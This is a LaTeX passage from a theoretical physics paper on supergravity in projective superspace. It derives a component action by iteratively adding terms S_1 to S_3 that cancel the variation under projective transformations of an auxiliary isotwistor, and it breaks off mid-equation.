Here $u^-_i$ is a constant isotwistor subject only to the restriction
that $u^-_i$ and $u^+_i(t)$ are linearly independent at each point
of the closed contour $C$, that is $(u^+u^-) \neq 0$.
The remainder of this section is devoted to the derivation of (\ref{Sfin-0}).
In what follows, we often change bases in the space of isotensors
by the rule $ A^i \to A^\pm:=A^i u_i^\pm$ using the completeness relation
\begin{eqnarray}
(u^+u^-)\,\delta^i_j=
u^{+i}u^-_j-u^{-i}u^+_j~.
\end{eqnarray}
We also find it helpful to introduce a notational convention that differs slightly from that
used in \cite{KLRT-M,KT-Msugra1,KT-Msugra3}.
Specifically, $F^{(p,q)} (u^+,u^-)$ denotes a homogeneous function of $u^+$s and $u^-$s,
with integers $p$ and $q$ being the corresponding degrees of homogeneity
with respect to $u^+$s and
$u^-$s, that is: $F^{(p,q)} (c\,u^+,u^-)=c^p F^{(p,q)} (u^+,u^-)$
and $F^{(p,q)} (u^+,c\,u^-)=c^q F^{(p,q)} (u^+,u^-)$, where
$c \in {\mathbb C} \setminus \{0\}$.
This convention is reflected in the definition (\ref{measure}).
In the case of a homogeneous function of $u^+$s only,
we use the simplified notation: $F^{(n)} (u^+) \equiv F^{(n,0)} (u^+)$;
if $n>0$, we can also write $F^{(n)} \equiv F^{+\cdots +}$,
where the number of $+$ superscripts is equal to $n$.
In the case of a homogeneous function of $u^-$s only,
we often use the simplified notation $F^{-\dots -} (u^-) \equiv F^{(0,m)} (u^-)$
with $m>0$, where the number of $-$ superscripts is equal to $m$.
A few words are in order regarding our strategy of deriving (\ref{Sfin-0}).
It is clear that the component Lagrangian corresponding to the action (\ref{InvarAc})
should be a combination of terms with four and less spinor covariant derivatives
acting on $\cL^{++}$. In the complete set
of spinor covariant derivatives,
$\cD^i_\alpha$ and ${\bar \cD}_{\ad }^i$,
these derivatives should be linearly independent from
the operators $\cD^+_\alpha$ and ${\bar \cD}^+_\ad$ which annihilate $\cL^{++}$.
A natural way to define such a subset of spinor covariant derivatives
is to pick an isotwistor $u^-_i$ such that $(u^+u^-)\neq 0$.
Then the operators $\cD^-_\alpha$ and ${\bar \cD}^-_\ad$ clearly
satisfy the required criterion. In other words, in order to construct the component
action one is forced to introduce an external isotwistor $u^-_i$ which does not show up
in the original action (\ref{InvarAc}).\footnote{This is similar to the Faddeev-Popov
quantization of Yang-Mills theories. In order to develop a path-integral
representation for the vacuum amplitue $\langle {out} | {in} \rangle$,
one has to introduce a gauge fixing condition.
However, the amplitue $\langle {out} | {in} \rangle$ must be independent of the
gauge condition introduced.}
The latter involves only the isotwistor $u^+_i$,
and is invariant under arbitrary re-scalings
\begin{equation}
u_i^+(t) \to c(t) \,u^+_i(t) ~, \qquad c(t) \neq 0~,
\label{re-scale-u+}
\end{equation}
along the integration contour.
Therefore, the component action should be invariant under arbitrary
projective transformations (\ref{projectiveGaugeVar}).
Indeed, the invariance
under infinitesimal transformations of the form
\begin{equation}
u^-_i~\to~ u^-_i +\delta u^-_i~, \qquad
\delta u^-_i\,=\,\alpha(t)\,u^-_i+\beta(t)\,u^+_i(t)~,
\label{delta-u-}
\end{equation}
implies independence of the action from the choice of $u^-_i$.
Since both $u^-_i$ and $\delta {u}^-_i$ are required to be time-independent,
the transformation parameters should obey the equations:
\begin{eqnarray}
\dt{\alpha}=\beta\,{(\dt{u}^+u^+)\over (u^+u^-)}~, \qquad \dt{\beta}=-\beta\,{(\dt{u}^+u^-)\over (u^+u^-)}~.
\label{ode}
\end{eqnarray}
Setting $\beta=0$ in (\ref{delta-u-}) gives a scale transformation, $\delta u^-_i=\alpha\,u^-_i$.
Therefore, the component action must be invariant under arbitrary rigid re-scalings of $u^-_i$.
If the component Lagrangian density is chosen to be homogeneous in
$u^-_i$ of degree zero, then the invariance under rigid re-scalings of $u^-_i$
clearly extends to that under the time-dependent
$\alpha$-transformations in (\ref{delta-u-}). It turns out that a nontrivial piece of information
is provided by requiring the action to be invariant under the $\beta$-transformations
in (\ref{delta-u-}).
On general grounds, it is not difficult to fix a four-derivative term
in the component Lagrangian corresponding to the action (\ref{InvarAc}).
We have
\begin{eqnarray}
S=S_0+\cdots~, \qquad
S_0 = \frac{1}{ 16}\oint {\rm d} \mu^{(-2,-4)}
\int{\rm d}^4 x \,e\,
({\cD}^-)^2(\cDB^-)^2
\cL^{++}(z,u^+)\Big|~,~~~~~~
\label{projectiveAnsatz0}
\end{eqnarray}
where the dots denote all the terms with at the most three spinor derivatives.
The functional $S_0$ is obviously invariant under the
local re-scalings of $u^+_i$, eq. (\ref{re-scale-u+}),
and also under the $\alpha$-transformations in (\ref{delta-u-}).
It turns out, however, that $S_0$ is not invariant under the $\beta$-transformation in (\ref{delta-u-}).
To cancel out the $\beta$-variation of $S_0$, it is necessary to add to $S_0$
some terms with three and less spinor derivatives acting on $\cL^{++}$.
The latter produce new non-vanishing contributions of lower order under the
the $\beta$-transformation in (\ref{delta-u-}).
As a result, we end up with a
well-defined iterative procedure to restore a projective invariant action.
Conceptually, our approach below is quite simple.
Before proceeding with the computation, it is useful to collect some auxiliary results
and make a technical comment.
Since the superfield Lagrangian $\cL^{++}(z,u^+)$
is a weight-two projective supermultiplet, it holds that
\begin{subequations}
\begin{eqnarray}
J_{kl}\cL^{++}&=&-{1\over (u^+u^-)}\Big(u^+_{(k}u^+_{l)}D^{(-1,1)}-2u^+_{(k}u^-_{l)}\Big)\cL^{++}~,
\label{JL-1}\\
{{\rm d}\over {\rm d} t}\cL^{++}
&=&2{(\dt{u}^+u^-)\over (u^+u^-)}\cL^{++}
-{(\dt{u}^+u^+)\over (u^+u^-)}D^{(-1,1)}\cL^{++}~,
\\
(\dt{u}^+u^+)J_{kl}\cL^{++}&=&
u^+_{(k}u^+_{l)}{{\rm d}\over {\rm d} t}\cL^{++}-2{(\dt{u}^+u^-)\over (u^+u^-)}u^+_{(k}u^+_{l)}\cL^{++}
+2{(\dt{u}^+u^+)\over (u^+u^-)}u^+_{(k}u^-_{l)}\cL^{++}~,~~~~~
\label{JL-3}
\end{eqnarray}
\end{subequations}
with $J_{kl}$ the SU(2) generators.
Here the operator $D^{(-1,1)}$ is defined in (\ref{5}).
Consider now
any operator $\cO^{--}$, which is independent of $u^+$,
${\pa\cO^{--}/\pa u^{+i}}=0$,
and is homogeneous in the variables $u^-_i$ of degree $+2$.
Using equations (\ref{JL-1}--\ref{JL-3}), one gets
\begin{eqnarray}
{({\dot u^+}u^+)\over (u^+u^-)^4}\cO^{--}J^{--}\cL^{++}=
{{\rm d}\over {\rm d} t}\Big[{\cO^{--}\over (u^+u^-)^2}\cL^{++}\Big]~.
\end{eqnarray}
This implies the following relation:
\begin{eqnarray}
\oint {\rm d} \mu^{(-2,-4)}\,\cO^{--}J^{--}\cL^{++}&=&0~.
\end{eqnarray}
Due to the identities
\begin{eqnarray}
{[}J_{kl},\cD^{\pm}_\alpha{]}={u^{\pm}_{(k}u^-_{l)}\over (u^+u^-)}\cD^+_\alpha
-{u^{\pm}_{(k}u^+_{l)}\over (u^+u^-)}\cD^-_\alpha~,&&~~~
{[}J_{kl},\cDB^{\pm}_\ad{]}={u^{\pm}_{(k}u^-_{l)}\over (u^+u^-)}\cDB^+_\ad
-{u^{\pm}_{(k}u^+_{l)}\over (u^+u^-)}\cDB^-_\ad~,~~~~~
\\
\{\cD_\alpha^-,\cDB_\ad^-\}=8G_{\alpha\ad}J^{--}~,&&~~~~~~
[J^{--},\cD_\alpha^-]=[J^{--},\cDB_\ad^-]=0~,
\end{eqnarray}
we also obtain
\begin{eqnarray}
\oint {\rm d} \mu^{(-2,-4)}\,(\cD^-)^2(\cDB^-)^2\cL^{++}&=&
\oint {\rm d} \mu^{(-2,-4)}\,\cD^{\alpha-}(\cDB^-)^2\cD_\alpha^-\cL^{++}\nonumber \\
=\oint {\rm d} \mu^{(-2,-4)}\,(\cDB^-)^2(\cD^-)^2\cL^{++}
&=&
\oint {\rm d} \mu^{(-2,-4)}\,\cDB_\ad^-(\cD^-)^2\cDB^{\ad-}\cL^{++}
~.~~~~~~
\end{eqnarray}
These identities justify the fact that $S_0$ is unambiguously defined.
Using equations (\ref{ode}) and (\ref{JL-1}--\ref{JL-3}), one can also prove
(compare with the similar observation in the 5D case \cite{KT-Msugra1})
the following result: for any operator $\cO^{(1,3)\,kl}$,
which is an homogenous function of degrees $1$ and $3$ in $u^+_i$
and $u^-_i$, respectively, it holds that
\begin{eqnarray}
&& \oint {\rm d} \mu^{(-2,-4)}\,\beta\, \cO^{(1,3)kl}J_{kl}\cL^{++} \nonumber \\
&=&
\oint {\rm d} \mu^{(-2,-4)}
\frac{\beta}{ (u^+u^-)}\Bigg\{
4\cO^{(1,3)+-}\cL^{++}
+u^+_{k}u^+_{l}\Big(D^{(-1,1)}\cO^{(1,3)kl}\Big)\cL^{++}
\Bigg\}~.~~~~~~~~~
\label{usf-2}
\end{eqnarray}
This identity will often be used in what follows.
Let us consider the variation of $S_0$, eq. (\ref{projectiveAnsatz0}),
under the infinitesimal projective transformation (\ref{delta-u-}).
Since $\cD^+_\alpha\cL^{++}=\cDB^{+}_\ad\cL^{++}=0$, we obtain
\begin{eqnarray}
\delta S_0
&=&
{1\over 16}\oint {\rm d} \mu^{(-2,-4)}\beta
\int{\rm d}^4 x \,e
\Big{[}
\{\cD^{\alpha+},\cD_\alpha^-\cDB_\ad^-\cDB^{\ad-}\}
+\cD^{\alpha-}[\cD_\alpha^+,\cDB_\ad^-\cDB^{\ad-}]
\nonumber\\
&&
+\cD^{\alpha-}\cD_\alpha^-\{\cDB_\ad^+,\cDB^{\ad-}\}
\Big{]}\cL^{++}\Big|~,
\end{eqnarray}
which is equivalent to
\begin{eqnarray}
\delta S_0
&=&
\frac{1}{ 16}\oint {\rm d} \mu^{(-2,-4)}\beta
\int{\rm d}^4 x \,e
\Big{[}
\{\cD^{\alpha+},\cD_\alpha^-\}\cDB_\ad^-\cDB^{\ad-}
+4\{\cD_\alpha^{+},\cDB_\ad^-\}\cD^{\alpha -}\cDB^{\ad-}
\nonumber\\
&&
-4[\{\cD_\alpha^{-},\cDB_\ad^-\},\cD^{\alpha+}]\cDB^{\ad-}
-4[\{\cD^{\alpha +},\cD_\alpha^{-}\},\cDB_\ad^-]\cDB^{\ad-}
-2\cD^{\alpha -}[\{\cD_\alpha^{+},\cDB_\ad^-\},\cDB^{\ad-}]
\nonumber\\
&&
+\cD^{\alpha-}\cD_\alpha^-\{\cDB_\ad^+,\cDB^{\ad-}\}
\Big{]}\cL^{++}\Big|~.
\end{eqnarray}
Here the (anti)commutators
can be evaluated by
making use of the algebra (\ref{acr1})--(\ref{acr5}).
As a next step, we systematically move the Lorentz and SU(2) generators to the right
and then use the identity $M_{ab}\cL^{++}=0$
and eq. (\ref{usf-2}).
If in this process some spinor covariant derivatives
$\cD_\alpha^+$ or $\cDB_\ad^+$ are produced, we push them
to the right until they hit $\cL^{++}$, and the latter contribution vanishes due to
$\cD_\alpha^+\cL^{++}=\cDB_\ad^+\cL^{++}=0$.
We then find
\begin{eqnarray}
\delta S_0
&=&
\frac{1}{ 16}\oint {\rm d} \mu^{(-2,-4)}\beta
\int{\rm d}^4 x \,e
\Big{[}
-8{\rm i}\upm \cD_{\alpha\ad}\cD^{\alpha -}\cDB^{\ad-}
-24S^{+-}\cDB_\ad^-\cDB^{\ad-}
-24\bar{S}^{+-}\cD^{\alpha-}\cD_\alpha^-
\nonumber\\
&&
-16\upm (\cDB_\ad^-\bar{W}^{\ad{\dot\delta}})\cDB_{\dot\delta}^{-}
-48(\cDB_\ad^-S^{+-})\cDB^{\ad-}
-56(\cD^{\beta -}\bar{S}^{+-})\cD_\beta^-
\nonumber\\
&&
+8\upm (\cD^{\beta -}{W}_{\beta\gamma})\cD^{\gamma -}
+16\upm (\cDB^{\ad-}G_{\alpha\ad})\cD^{\alpha -}
\nonumber\\
&&
-192S^{--}\bar{S}^{+-}
-32(\cD^{\beta -}\cD_{\beta}^-\bar{S}^{+-})
-16\upm (\cD^{\alpha -}\cDB^{\ad-}G_{\alpha\ad})
\Big{]}\cL^{++} \Big|~.
\end{eqnarray}
This expression can be simplified if one notices that
the Bianchi identities (\ref{Bianchi-3/2-1})--(\ref{Bianchi-3/2-4}) imply
\begin{subequations}
\begin{eqnarray}
\cD_\alpha^+S^{--}&=&-2\cD_\alpha^-S^{+-}~,~~~~~~
\cD_{\alpha l}S^{-l}={3\over \upm }\cD_\alpha^-S^{+-}~,
\\
\cDB^{\ad -}G_{\alpha\ad}&=&
{1\over 4\upm }\cD_{\alpha}^+\bar{S}^{--}
+\frac12\cD^{\gamma -}W_{\alpha\gamma}~,
\\
\cD^{\alpha-}\cD^{\beta-}W_{\alpha\beta}&=&0~,~~~~~~
\cD^{\alpha-}\cD_\alpha^-\bar{S}^{+-}=
4S^{+-}\bar{S}^{--}
-4S^{--}\bar{S}^{+-}~,
\\
\cD^{\alpha -}\cDB^{\ad-}G_{\alpha\ad}&=&
-{2\over \upm }S^{+-}\bar{S}^{--}
+{2\over \upm }S^{--}\bar{S}^{+-}
~,
\end{eqnarray}
\end{subequations}
along with complex conjugate relations.
We then end up with the following variation:
\begin{eqnarray}
\delta S_0
&=&
\oint {\rm d} \mu^{(-2,-4)}\beta
\int{\rm d}^4 x \,e
\Big{[}
-{{\rm i}\over 2}(u^+u^-)\cD_{\alpha\ad}\cD^{\alpha -}\cDB^{\ad-}
-{3\over 2}S^{+-}\cDB_\ad^-\cDB^{\ad-}
-{3\over 2}\bar{S}^{+-}\cD^{\alpha-}\cD_\alpha^-
\nonumber\\
&&
-3(\cDB_\ad^-S^{+-})\cDB^{\ad-}
-3(\cD^{\alpha -}\bar{S}^{+-})\cD_\alpha^-
-(u^+u^-)(\cDB_\ad^-\bar{W}^{\ad{\dot\delta}})\cDB_{\dot\delta}^{-}
+(u^+u^-)(\cD^{\alpha -}{W}_{\alpha\beta})\cD^{\beta -}
\nonumber\\
&&
-6S^{--}\bar{S}^{+-}
-6S^{+-}\bar{S}^{--}
\Big{]}\cL^{++} \Big|~.
\label{dS_0}
\end{eqnarray}
To cancel out the terms with two derivatives, we add to
$S_0$ the following structure:
\begin{eqnarray}
S_1
&=&
\oint {\rm d} \mu^{(-2,-4)}
\int{\rm d}^4 x \,e
\Big{[}
{3\over 4}S^{--}(\cDB^-)^2
+{3\over 4}\bar{S}^{--}(\cD^{-})^2
\Big{]}\cL^{++} \Big|
~.
\label{S_1}
\end{eqnarray}
Its variation is
\begin{eqnarray}
\delta S_1
&=&
\oint {\rm d} \mu^{(-2,-4)}\beta
\int{\rm d}^4 x \,e
\Big{[}
{3\over 2}S^{+-}(\cDB^-)^2
+{3\over 2}\bar{S}^{+-}(\cD^{-})^2
\nonumber\\
&&
-12S^{--}\bar{S}^{+-}
-12\bar{S}^{--}{S}^{+-}
\Big{]}\cL^{++}\Big|
~,
\label{dS_1}
~~~~~~~~~
\end{eqnarray}
and therefore the functional $S_0+S_1$ varies as
\begin{eqnarray}
\delta (S_0+S_1)
&=&
\oint {\rm d} \mu^{(-2,-4)}\beta
\int{\rm d}^4 x \,e
\Big{[}
-{{\rm i}\over 2}(u^+u^-)\cD_{\alpha\ad}\cD^{\alpha -}\cDB^{\ad-}
-3(\cDB_\ad^-S^{+-})\cDB^{\ad-}
\nonumber\\
&&
-3(\cD^{\alpha -}\bar{S}^{+-})\cD_\alpha^-
-(u^+u^-)(\cDB_\ad^-\bar{W}^{\ad{\dot\delta}})\cDB_{\dot\delta}^{-}
+(u^+u^-)(\cD^{\alpha -}{W}_{\alpha\beta})\cD^{\beta -}
\nonumber\\
&&
-18S^{--}\bar{S}^{+-}
-18S^{+-}\bar{S}^{--}
\Big{]}\cL^{++}\Big|
~.
\label{dS_01}
\end{eqnarray}
To cancel the variation in the last line, we have to add to the action another term
\begin{eqnarray}
S_2
&=&
\oint {\rm d} \mu^{(-2,-4)}
\int{\rm d}^4 x \,e
\Big{[}
9S^{--}\bar{S}^{--}
\Big{]}\cL^{++}\Big|~.
\label{S_2}
\end{eqnarray}
As a result, the functional $S_0+S_1+S_2$ varies as
\begin{eqnarray}
&&\delta (S_0+S_1+S_2)
=
\oint {\rm d} \mu^{(-2,-4)}\beta
\int{\rm d}^4 x \,e
\Big{[}
-{{\rm i}\over 2}(u^+u^-)\cD_{\alpha\ad}\cD^{\alpha -}\cDB^{\ad-}
-3(\cDB_\ad^-S^{+-})\cDB^{\ad-}
\nonumber\\
&&~~~
-3(\cD^{\alpha -}\bar{S}^{+-})\cD_\alpha^-
-(u^+u^-)(\cDB_\ad^-\bar{W}^{\ad{\dot\delta}})\cDB_{\dot\delta}^{-}
+(u^+u^-)(\cD^{\alpha -}{W}_{\alpha\beta})\cD^{\beta -}
\Big{]}\cL^{++}\Big|~.~~~~~~~~~~
\label{dS_012}
\end{eqnarray}
In the first term of the variation obtained, we can make use of
(\ref{cD_a-proj}). This leads to
\begin{eqnarray}
&&\oint {\rm d} \mu^{(-2,-4)}\beta
\int{\rm d}^4 x \,e\,\Big{[}
-{{\rm i}\over 2}(u^+u^-)\cD_{\alpha\ad}\cD^{\alpha -}\cDB^{\ad-}\Big{]} \cL^{++}\Big|
\nonumber\\
&&=
\oint {\rm d} \mu^{(-2,-4)}\beta
\int{\rm d}^4 x \,e
\Big{[}-{{\rm i}\over 2}(u^+u^-)\Big(
{\nabla}_{\alpha\ad}
-{1\over\upm}\Psi_{\alpha\ad}{}^{\gamma+}\cD_\gamma^-
+{1\over\upm}\Psi_{\alpha\ad}{}^{\gamma-}\cD_\gamma^+
\nonumber\\
&&~~~
+{1\over\upm}\bar{\Psi}_{\alpha\ad}{}_{\dot\gamma}^+\cDB^{{\dot\gamma} -}
-{1\over\upm}\bar{\Psi}_{\alpha\ad}{}_{\dot\gamma}^-\cDB^{{\dot\gamma}+}
+\phi_{\alpha\ad}{}^{kl}J_{kl}
\Big)
\cD^{\alpha -}\cDB^{\ad-}
\Big{]}
\cL^{++}\Big|~.~~~~~~
\label{eq-112}
\end{eqnarray}
This variation can be simplified, in complete analogy with the above calculation,
by systematically moving the Lorentz and SU(2) generators
as well as the derivatives $\cD^+,\,\cDB^+$ to the right until they hit $\cL^{++}$,
at which stage we can use the identity
$M_{ab}\cL^{++}=0$, eq. (\ref{usf-2}) and the analyticity conditions
$\cD^+_\alpha\cL^{++}=\cDB^{+}_\ad\cL^{++}=0$.
We then find
\begin{eqnarray}
&&\oint {\rm d} \mu^{(-2,-4)}\beta
\int{\rm d}^4 x \,e
\Big{[}
-{{\rm i}\over 2}(u^+u^-)\cD_{\alpha\ad}\cD^{\alpha -}\cDB^{\ad-}
\Big{]}\cL^{++}\Big|
\nonumber\\
&&=
\oint {\rm d} \mu^{(-2,-4)}\beta
\int{\rm d}^4 x \,e
\Big{[}
-{{\rm i}\over 2}(u^+u^-){\nabla}_{\alpha\ad}\cD^{\alpha -}\cDB^{\ad-}
-{{\rm i}\over 4}\Psi^{\alpha\ad}{}_\alpha^{+}(\cD^-)^2\cDB_\ad^{-}
-{{\rm i}\over 4}\bar{\Psi}^{\alpha\ad}{}_\ad^{+}(\cDB^{-})^2\cD_\alpha^{ -}
\nonumber\\
&&
+2\phi_{\alpha\ad}{}^{+-}\cD^{\alpha -}\cDB^{\ad-}
+\phi_{\alpha\ad}{}^{--}\{\cD^{\alpha +},\cDB^{\ad-}\}
+\upm \Psi^{\alpha\ad}{}^{\gamma -}\cD_{\gamma\ad}\cD_\alpha^{ -}
+\upm \bar{\Psi}^{\alpha\ad}{}^{{\dot\gamma}-}\cD_{\alpha{\dot\gamma}}\cDB_\ad^{-}
\nonumber\\
&&
+3{{\rm i}}\upm \Psi^{\alpha\ad}{}^{\gamma -}Y_{\alpha\gamma}\cDB_\ad^{-}
-4{{\rm i}}\Psi^{\alpha\ad}{}_\alpha^{-}S^{+-}\cDB_\ad^{-}
+{4{\rm i}}\upm \bar{\Psi}^{\alpha\ad}{}^{{\dot\gamma}-}G_{\alpha{\dot\gamma}}\cDB_\ad^{-}
\nonumber\\
&&
-{2{\rm i}}\upm \bar{\Psi}^{\alpha\ad}{}_{(\ad}^-G_{\alpha{\dot\gamma})}\cDB^{{\dot\gamma} -}
+3{{\rm i}}\upm \bar{\Psi}^{\alpha\ad}{}^{{\dot\gamma}-}\bar{Y}_{\ad{\dot\gamma}}\cD_\alpha^{ -}
-4{\rm i}\bar{\Psi}^{\alpha\ad}{}_\ad^{-}\bar{S}^{+-}\cD_\alpha^{-}
\nonumber\\
&&
-{4{\rm i}}\upm \Psi^{\alpha\ad}{}^{\gamma -}G_{\gamma\ad}\cD_\alpha^{ -}
+2{\rm i}\upm \Psi^{\alpha\ad}{}_{(\alpha}^{-}G_{\beta)\ad}\cD^{\beta -}
+3{\rm i}\upm \Psi^{\alpha\ad}{}^{\gamma -}(\cDB_\ad^{-}Y_{\alpha\gamma})
\nonumber\\
&&
+3{\rm i}\upm \bar{\Psi}^{\alpha\ad}{}^{{\dot\gamma}-}(\cD_\alpha^{ -}\bar{Y}_{\ad{\dot\gamma}})
-{\rm i}\upm \Psi^{\alpha\ad}{}_\alpha^{-}(\cDB^{{\dot\delta} -}\bar{W}_{\ad{\dot\delta}})
-{\rm i}\upm \bar{\Psi}^{\alpha\ad}{}_\ad^{-}(\cD^{-\delta}W_{\alpha\delta})
\nonumber\\
&&
-3{\rm i}\Psi^{\alpha\ad}{}_\alpha^{-}(\cDB_{\ad}^{-}S^{+-})
-3{\rm i}\bar{\Psi}^{\alpha\ad}{}_\ad^{-}(\cD_\alpha^{-}\bar{S}^{+-})
\Big{]}\cL^{++}\Big|~.
\label{D_a-D^al-DB^ad}
\end{eqnarray}
Now, in order to cancel out the second, third, fourth and fifth terms,
we have to add to the action one more term
\begin{eqnarray}
S_3&=&
\oint {\rm d} \mu^{(-2,-4)}
\int{\rm d}^4 x \,e
\Big{[}\,
{{\rm i}\over 4}\Psi^{\alpha\ad}{}_\alpha^{-}(\cD^-)^2\cDB_\ad^{-}
+{{\rm i}\over 4}\bar{\Psi}^{\alpha\ad}{}_\ad^{-}(\cDB^{-})^2\cD_\alpha^{ -}
\nonumber\\
&&
-\phi_{\alpha\ad}{}^{--}\cD^{\alpha -}\cDB^{\ad-}
\Big{]}\cL^{++}\Big|
\label{S_3}~.
\end{eqnarray}
Evaluating the variation of $S_3$ and combining it with
$\delta(S_0+S_1+S_2)$ gives
\begin{eqnarray}
&&\delta(S_0+S_1+S_2+S_3)=
\oint {\rm d} \mu^{(-2,-4)}\beta
\int{\rm d}^4 x \,e
\Big{[}
-{{\rm i}\over 2}(u^+u^-){\nabla}_{\alpha\ad}\cD^{\alpha -}\cDB^{\ad-}
\allowdisplaybreaks
\nonumber\\
&&
+\upm \Psi^{\alpha\ad}{}^{\gamma -}\cD_{\gamma\ad}\cD_\alpha^{ -}
+\upm \Psi^{\alpha\ad}{}_\alpha^{-}\cD_{\beta\ad}\cD^{\beta-}
+\upm \bar{\Psi}^{\alpha\ad}{}^{{\dot\gamma}-}\cD_{\alpha{\dot\gamma}}\cDB_\ad^{-}
\allowdisplaybreaks
\nonumber\\
&&
+\upm \bar{\Psi}^{\alpha\ad}{}_\ad^{-}\cD_{\alpha\bd}\cDB^{\bd-}
+3{{\rm i}}\upm \Psi^{\alpha\ad}{}^{\gamma -}Y_{\alpha\gamma}\cDB_\ad^{-}
-9{{\rm i}}\Psi^{\alpha\ad}{}_\alpha^{-}S^{+-}\cDB_\ad^{-}
\allowdisplaybreaks
\nonumber\\
&&
+{4{\rm i}}\upm \bar{\Psi}^{\alpha\ad}{}^{{\dot\gamma}-}G_{\alpha{\dot\gamma}}\cDB_\ad^{-}
-{{\rm i}}\upm \bar{\Psi}^{\alpha\ad}{}_{{\dot\gamma}}^-G_{\alpha\ad}\cDB^{{\dot\gamma} -}
-{\rm i}\upm \Psi^{\alpha\ad}{}_\alpha^{-}\bar{W}_{{\dot\gamma}\ad}\cDB^{{\dot\gamma} -}
\allowdisplaybreaks
\nonumber\\
&&
-3(\cDB_\ad^-S^{+-})\cDB^{\ad-}
-(u^+u^-)(\cDB_\ad^-\bar{W}^{\ad{\dot\delta}})\cDB_{\dot\delta}^{-}
+3{{\rm i}}\upm \bar{\Psi}^{\alpha\ad}{}^{{\dot\gamma}-}\bar{Y}_{\ad{\dot\gamma}}\cD_\alpha^{ -}
-9{\rm i}\bar{\Psi}^{\alpha\ad}{}_\ad^{-}\bar{S}^{+-}\cD_\alpha^{-}
\allowdisplaybreaks
\nonumber\\
&&
-{4{\rm i}}\upm \Psi^{\alpha\ad}{}^{\gamma -}G_{\gamma\ad}\cD_\alpha^{ -}
+{\rm i}\upm \Psi^{\alpha\ad}{}_{\beta}^{-}G_{\alpha\ad}\cD^{\beta -}
-{\rm i}\upm \bar{\Psi}^{\alpha\ad}{}_\ad^{-} {W}_{\alpha\gamma}\cD^{\gamma-}
\allowdisplaybreaks
\nonumber\\
&&
-3(\cD^{\alpha -}\bar{S}^{+-})\cD_\alpha^-
+(u^+u^-)(\cD^{\alpha -}{W}_{\alpha\beta})\cD^{\beta -}
+3{\rm i}\upm \Psi^{\alpha\ad}{}^{\gamma -}(\cDB_\ad^{-}Y_{\alpha\gamma})
\allowdisplaybreaks
\nonumber\\
&&
+3{\rm i}\upm \bar{\Psi}^{\alpha\ad}{}^{{\dot\gamma}-}(\cD_\alpha^{ -}\bar{Y}_{\ad{\dot\gamma}})
-3{\rm i}\upm \Psi^{\alpha\ad}{}_\alpha^{-}(\cDB^{\bd -}\bar{W}_{\ad\bd})
-3{\rm i}\upm \bar{\Psi}^{\alpha\ad}{}_\ad^{-}(\cD^{-\beta}W_{\alpha\beta})
\allowdisplaybreaks
\nonumber\\
&&
-9{\rm i}\Psi^{\alpha\ad}{}_\alpha^{-}(\cDB_{\ad}^{-}S^{+-})
-9{\rm i}\bar{\Psi}^{\alpha\ad}{}_\ad^{-}(\cD_\alpha^{-}\bar{S}^{+-})
\Big{]}\cL^{++}\Big|
~.
\label{dS_0123}
\end{eqnarray}
Let us consider the first to fifth terms in (\ref{dS_0123}) which involve vector
covariant derivatives. In this sector, we apply (\ref{cD_a-proj}),
the formula for integration by parts, eq. (\ref{integ-by-parts}),
with the space-time torsion (\ref{T-1}) expressed as
\begin{eqnarray}
\cT_{ab}{}^c&=&
-{4{\rm i}\over (u^+u^-)}\Big(\Psi_{[a}{}^{\gamma +}\bar{\Psi}_{b]}{}_{{\dot\delta}}^-(\sigma^c)_\gamma{}^{\dot\delta}
-\Psi_{[a}{}^{\gamma -}\bar{\Psi}_{b]}{}_{{\dot\delta}}^+(\sigma^c)_\gamma{}^{\dot\delta}\Big)~.~~~~~~
\end{eqnarray}
Implementing also the usual iterative procedure, we obtain
\begin{eqnarray} \allowdisplaybreaks
&&
\oint {\rm d} \mu^{(-2,-4)}\beta
\int{\rm d}^4 x \, e\,(u^+u^-)
\Big{[}
-{{\rm i}\over 2}
{\nabla}_{\alpha\ad}\cD^{\alpha -}\cDB^{\ad-}
+ \Psi^{\alpha\ad}{}^{\beta -}\cD_{\beta\ad}\cD_\alpha^{ -}
+\Psi^{\alpha\ad}{}_\alpha^{-}\cD_{\beta\ad}\cD^{\beta-}
\nonumber
\allowdisplaybreaks
\\
&&~~~
+ \bar{\Psi}^{\alpha\ad}{}^{{\dot\gamma}-}\cD_{\alpha{\dot\gamma}}\cDB_\ad^{-}
+\bar{\Psi}^{\alpha\ad}{}_\ad^{-}\cD_{\alpha\bd}\cDB^{\bd-}
\Big{]}\cL^{++}\Big|
\nonumber
\allowdisplaybreaks
\\
&&
=\oint {\rm d} \mu^{(-2,-4)}\beta
\int{\rm d}^4 x \,e
\Big{[}
2(\sigma^{ab})^{\alpha}{}_{\beta}\Psi_{[a}{}^{\beta+}\bar{\Psi}_{b]}{}^{\ad-}\cD_\alpha^{-}\cDB_{\ad}^{-}
+2({\tilde{\sigma}}^{ab})^{\ad}{}_{\bd}\Psi_{[a}{}^{\alpha+}\bar{\Psi}_{b]}{}^{\bd-}\cD_\alpha^{-}\cDB_{\ad}^{-}
\nonumber\\
&&~~~
+2(\sigma^{ab})^{\alpha}{}_{\beta}\Psi_{[a}{}^{\beta-}\bar{\Psi}_{b]}{}^{\ad+}\cD_\alpha^{-}\cDB_{\ad}^{-}
+2({\tilde{\sigma}}^{ab})^{\ad}{}_{\bd}\Psi_{[a}{}^{\alpha-}\bar{\Psi}_{b]}{}^{\bd+}\cD_\alpha^{-}\cDB_{\ad}^{-}
-2(\sigma^{ab})^{\alpha\beta}\Psi_a{}_\alpha^{-}\Psi_{b}{}_\beta^{+}(\cD^-)^2
\nonumber\\
&&~~~
-2({\tilde{\sigma}}^{ab})^{\ad\bd}\bar{\Psi}_a{}_\ad^{-}\bar{\Psi}_b{}_{\bd}^{+}(\cDB^{-})^2
-4\upm (\sigma^{ab})_\beta{}^\gamma\cT_{[a}{}_{|c|}{}^c\Psi_{b]}{}^{\beta -}\cD_\gamma^{ -}
\nonumber
\allowdisplaybreaks
\\
&&~~~
+4\upm ({\tilde{\sigma}}^{ab})_\bd{}^{\dot\gamma}\cT_{[a}{}_{|c|}{}^c\bar{\Psi}_{b]}{}^{\bd-}\cDB_{\dot\gamma}^{-}
+4\upm (\sigma^{ab})_\beta{}^\gamma({\nabla}_{[a}\Psi_{b]}{}^{\beta -})\cD_\gamma^{ -}
\nonumber\\
&&~~~
-4\upm ({\tilde{\sigma}}^{ab})_\bd{}^{\dot\gamma}({\nabla}_{[a}\bar{\Psi}_{b]}{}^{\bd-})\cDB_{\dot\gamma}^{-}
+12(\sigma^{ab})_\beta{}^\gamma\Psi_a{}^{\beta -}\phi_{b}{}^{+-}\cD_\gamma^{ -}
